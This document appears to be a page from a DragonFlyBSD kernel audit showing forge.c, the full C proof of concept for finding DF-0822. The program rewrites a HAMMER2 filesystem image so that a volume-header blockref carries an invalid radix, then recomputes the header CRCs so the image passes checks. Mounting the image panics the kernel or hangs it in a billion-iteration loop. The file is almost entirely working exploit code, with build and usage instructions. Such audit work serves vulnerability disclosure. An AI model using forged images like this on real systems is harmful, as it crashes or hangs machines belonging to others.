โฌข DragonFlyBSD Kernel Audit
DF-0822 / forge.c
โ† back to finding โ†“ download raw
/*
 * DF-0822 โ€” HAMMER2 bad-radix freemap-adj DoS trigger.
 *
 * Forges a HAMMER2 filesystem image whose volume-header sroot_blockset
 * contains a crafted DATA leaf blockref whose data_off carries an
 * out-of-range radix (44).  The radix is never validated in
 * hammer2_freemap_adjust(); on a GENERIC (INVARIANTS) kernel the
 * KKASSERT(radix <= HAMMER2_RADIX_MAX) at hammer2_freemap.c:980 panics
 * the machine at mount; on a production (no INVARIANTS) kernel the
 * subsequent count = 1<<(radix-14) == 1<<30 drives a ~1-billion-iteration
 * while(count) CPU-burn that hangs the mount.
 *
 * Only the on-disk volume header is patched (sroot_blockset[1] + 3 CRCs).
 * Mount-time recovery (hammer2_recovery_scan, vfsops.c:2325) reads the
 * crafted DATA leaf, sees mirror_tid > freemap_tid, and calls
 * hammer2_freemap_adjust() with the bad radix before any chain/data is
 * instantiated.
 *
 * Build:  cc -O2 -o forge forge.c
 * Usage:  ./forge <in.img> <out.img> [radix] [offset_hex]
 *         radix default 44, offset default allocator_beg
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

/* ---- CRC-32C (Castagnoli) โ€” identical to kernel iscsi_crc32 ---- */
static uint32_t crc32c_tab[256];
static void crc32c_init(void) {
    for (uint32_t i = 0; i < 256; i++) {
        uint32_t c = i;
        for (int k = 0; k < 8; k++)
            c = (c >> 1) ^ (0x82F63B78u & (uint32_t)(-(int32_t)(c & 1)));
        crc32c_tab[i] = c;
    }
}
/* iscsi_crc32(buf,size) = ~calculate_crc32c(-1,buf,size) */
static uint32_t iscsi_crc32(const uint8_t *buf, size_t len) {
    uint32_t crc = 0xFFFFFFFFu;
    for (size_t i = 0; i < len; i++)
        crc = crc32c_tab[(crc ^ buf[i]) & 0xFF] ^ (crc >> 8);
    return ~crc;
}

/* ---- volume-header field offsets (hammer2_disk.h) ---- */
#define VH_SIZE             65536
#define OFF_magic           0x0000
#define OFF_allocator_beg   0x0070
#define OFF_mirror_tid      0x0078
#define OFF_freemap_tid     0x0090
#define OFF_icrc_sects       0x01E0   /* uint32[8] */
#define OFF_sroot_blockset   0x0200   /* 4 blockrefs * 128 = 512 bytes */
#define OFF_icrc_volheader  0xFFFC

#define SECT0_CRC_OFF  0          /* HAMMER2_VOLUME_ICRC0_OFF  */
#define SECT0_CRC_SIZE 508        /* HAMMER2_VOLUME_ICRC0_SIZE */
#define SECT1_CRC_OFF  512        /* HAMMER2_VOLUME_ICRC1_OFF  */
#define SECT1_CRC_SIZE 512        /* HAMMER2_VOLUME_ICRC1_SIZE */
#define VH_CRC_OFF     0          /* HAMMER2_VOLUME_ICRCVH_OFF */
#define VH_CRC_SIZE    65532      /* HAMMER2_VOLUME_ICRCVH_SIZE */

#define VOL_ICRC_SECT0  7   /* icrc_sects[7] */
#define VOL_ICRC_SECT1  6   /* icrc_sects[6] */

/* blockref field offsets (128 bytes each) */
#define BR_type        0
#define BR_key         16
#define BR_mirror_tid  24
#define BR_data_off    40

#define HAMMER2_BREF_TYPE_DATA   0x03
#define HAMMER2_VOLUME_ID_HBO    0x48414d3205172011ULL
#define RADIX_BAD                44   /* count = 1<<(44-14) = 1<<30 */
#ifndef RADIX_TEST
#define RADIX_TEST RADIX_BAD
#endif

static void put_u64(uint8_t *p, uint64_t v) {
    for (int i = 0; i < 8; i++) p[i] = (uint8_t)(v >> (i*8));
}
static uint64_t get_u64(const uint8_t *p) {
    uint64_t v = 0;
    for (int i = 0; i < 8; i++) v |= (uint64_t)p[i] << (i*8);
    return v;
}
static void put_u32(uint8_t *p, uint32_t v) {
    for (int i = 0; i < 4; i++) p[i] = (uint8_t)(v >> (i*8));
}

int main(int argc, char **argv) {
    if (argc < 3) {
        fprintf(stderr, "usage: %s <in.img> <out.img> [radix] [offset_hex]\n", argv[0]);
        return 2;
    }
    crc32c_init();

    int fd = open(argv[1], O_RDONLY);
    if (fd < 0) { perror("open in"); return 1; }
    uint8_t *img = malloc(VH_SIZE);
    if (!img) { perror("malloc"); return 1; }
    /* volume header copy #0 lives at file offset 0 */
    if (pread(fd, img, VH_SIZE, 0) != VH_SIZE) { perror("pread"); return 1; }
    close(fd);

    if (get_u64(img + OFF_magic) != HAMMER2_VOLUME_ID_HBO) {
        fprintf(stderr, "magic mismatch at offset 0: 0x%016llx\n",
                (unsigned long long)get_u64(img + OFF_magic));
        return 3;
    }

    uint64_t allocator_beg = get_u64(img + OFF_allocator_beg);
    uint64_t freemap_tid   = get_u64(img + OFF_freemap_tid);
    uint64_t mirror_tid    = get_u64(img + OFF_mirror_tid);

    fprintf(stderr, "forge: allocator_beg=0x%llx freemap_tid=0x%llx mirror_tid=0x%llx\n",
            (unsigned long long)allocator_beg,
            (unsigned long long)freemap_tid,
            (unsigned long long)mirror_tid);

    /* ---- sanity: verify current CRCs decode correctly ---- */
    uint32_t s0 = iscsi_crc32(img + SECT0_CRC_OFF, SECT0_CRC_SIZE);
    uint32_t s1 = iscsi_crc32(img + SECT1_CRC_OFF, SECT1_CRC_SIZE);
    uint32_t vh = iscsi_crc32(img + VH_CRC_OFF,    VH_CRC_SIZE);
    uint32_t stored_s0 = *(uint32_t*)(img + OFF_icrc_sects + VOL_ICRC_SECT0*4);
    uint32_t stored_s1 = *(uint32_t*)(img + OFF_icrc_sects + VOL_ICRC_SECT1*4);
    uint32_t stored_vh = *(uint32_t*)(img + OFF_icrc_volheader);
    fprintf(stderr, "forge: crc sect0 calc=0x%08x stored=0x%08x %s\n",
            s0, stored_s0, s0==stored_s0?"OK":"MISMATCH");
    fprintf(stderr, "forge: crc sect1 calc=0x%08x stored=0x%08x %s\n",
            s1, stored_s1, s1==stored_s1?"OK":"MISMATCH");
    fprintf(stderr, "forge: crc volhdr calc=0x%08x stored=0x%08x %s\n",
            vh, stored_vh, vh==stored_vh?"OK":"MISMATCH");
    if (s0 != stored_s0 || s1 != stored_s1 || vh != stored_vh) {
        fprintf(stderr, "forge: CRC self-test FAILED โ€” aborting\n");
        return 4;
    }

    /* ---- patch sroot_blockset[1] into a crafted DATA leaf ---- */
    int radix = (argc > 3) ? atoi(argv[3]) : RADIX_BAD;
    uint64_t off_override = (argc > 4) ? strtoull(argv[4], NULL, 0) : 0;
    uint8_t *br = img + OFF_sroot_blockset + 1 * 128;
    memset(br, 0, 128);
    br[BR_type] = HAMMER2_BREF_TYPE_DATA;
    put_u64(br + BR_key,        0x1000);                       /* arbitrary */
    put_u64(br + BR_mirror_tid, freemap_tid + 1);              /* > sync_tid */
    /* data_off: offset must be >= allocator_beg and satisfy zone check
     * (data_off & ZONE_MASK64) >= ZONE_SEG (4MB).  Use allocator_beg
     * (>= 4MB on any real fs) with radix bits = radix.            */
    uint64_t base_off = off_override ? off_override : allocator_beg;
    uint64_t doff = (base_off & ~(uint64_t)0x3F) | (radix & 0x3F);
    put_u64(br + BR_data_off,   doff);

    fprintf(stderr, "forge: patched sroot[1] type=DATA data_off=0x%016llx radix=%d mirror_tid=0x%llx\n",
            (unsigned long long)doff, (int)(doff & 0x3f),
            (unsigned long long)(freemap_tid + 1));
    /* ---- reforge the 3 volume-header CRCs (order matters) ---- */
    /* sect1 covers sroot_blockset region (0x200-0x3ff) */
    uint32_t new_s1 = iscsi_crc32(img + SECT1_CRC_OFF, SECT1_CRC_SIZE);
    put_u32(img + OFF_icrc_sects + VOL_ICRC_SECT1*4, new_s1);

    /* sect0 covers 0x000-0x1fb (includes icrc_sects[6] at 0x1f8) */
    uint32_t new_s0 = iscsi_crc32(img + SECT0_CRC_OFF, SECT0_CRC_SIZE);
    put_u32(img + OFF_icrc_sects + VOL_ICRC_SECT0*4, new_s0);

    /* volheader covers 0x000-0xfffb (includes both icrc_sects[6],[7]) */
    uint32_t new_vh = iscsi_crc32(img + VH_CRC_OFF, VH_CRC_SIZE);
    put_u32(img + OFF_icrc_volheader, new_vh);

    fprintf(stderr, "forge: new crc sect1=0x%08x sect0=0x%08x volhdr=0x%08x\n",
            new_s1, new_s0, new_vh);

    /* ---- write output image (copy input, overwrite vol header copy #0) ---- */
    int fin = open(argv[1], O_RDONLY);
    int fout = open(argv[2], O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fin < 0 || fout < 0) { perror("open copy"); return 1; }
    uint8_t cpy[65536];
    ssize_t n;
    int first = 1;
    while ((n = read(fin, cpy, sizeof(cpy))) > 0) {
        if (first) {
            memcpy(cpy, img, VH_SIZE);   /* overwrite vol header */
            first = 0;
        }
        if (write(fout, cpy, n) != n) { perror("write"); return 1; }
    }
    close(fin); close(fout);
    free(img);
    fprintf(stderr, "forge: wrote %s\n", argv[2]);
    return 0;
}